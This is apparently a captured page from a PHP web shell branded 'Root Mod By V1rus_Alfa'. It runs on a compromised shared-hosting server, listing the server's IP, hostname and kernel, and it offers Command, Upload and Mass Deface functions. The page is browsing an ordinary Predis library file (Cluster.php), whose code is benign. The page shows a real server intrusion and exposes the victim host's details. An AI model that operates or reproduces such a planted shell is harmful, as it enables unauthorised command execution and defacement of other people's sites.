���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
vendor
/
predis
/
predis
/
src
/
Configuration
/
Option
/
Viewing: Cluster.php
<?php /* * This file is part of the Predis package. * * (c) 2009-2020 Daniele Alessandri * (c) 2021-2025 Till Krüss * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Predis\Configuration\Option; use InvalidArgumentException; use Predis\Cluster\RedisStrategy; use Predis\Configuration\OptionsInterface; use Predis\Connection\Cluster\PredisCluster; use Predis\Connection\Cluster\RedisCluster; use Predis\Connection\Parameters; /** * Configures an aggregate connection used for clustering * multiple Redis nodes using various implementations with * different algorithms or strategies. */ class Cluster extends Aggregate { /** * {@inheritdoc} */ public function filter(OptionsInterface $options, $value) { if (is_string($value)) { $value = $this->getConnectionInitializerByString($options, $value); } if (is_callable($value)) { return $this->getConnectionInitializer($options, $value); } else { throw new InvalidArgumentException(sprintf( '%s expects either a string or a callable value, %s given', static::class, is_object($value) ? get_class($value) : gettype($value) )); } } /** * Returns a connection initializer from a descriptive name. * * @param OptionsInterface $options Client options * @param string $description Identifier of a replication backend (`predis`, `sentinel`) * * @return callable */ protected function getConnectionInitializerByString(OptionsInterface $options, string $description) { switch ($description) { case 'redis': case 'redis-cluster': return static function ($parameters, $options, $option) { $optionParameters = $options->parameters ?? []; return new RedisCluster( $options->connections, new Parameters($optionParameters), new RedisStrategy($options->crc16), $options->readTimeout ); }; case 'predis': return $this->getDefaultConnectionInitializer(); default: throw new InvalidArgumentException(sprintf( '%s expects either `predis`, `redis` or `redis-cluster` as valid string values, `%s` given', static::class, $description )); } } /** * Returns the default connection initializer. * * @return callable */ protected function getDefaultConnectionInitializer() { return static function ($parameters, $options, $option) { $optionsParameters = $options->parameters ?? []; return new PredisCluster(new Parameters($optionsParameters)); }; } /** * {@inheritdoc} */ public function getDefault(OptionsInterface $options) { return $this->getConnectionInitializer( $options, $this->getDefaultConnectionInitializer() ); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa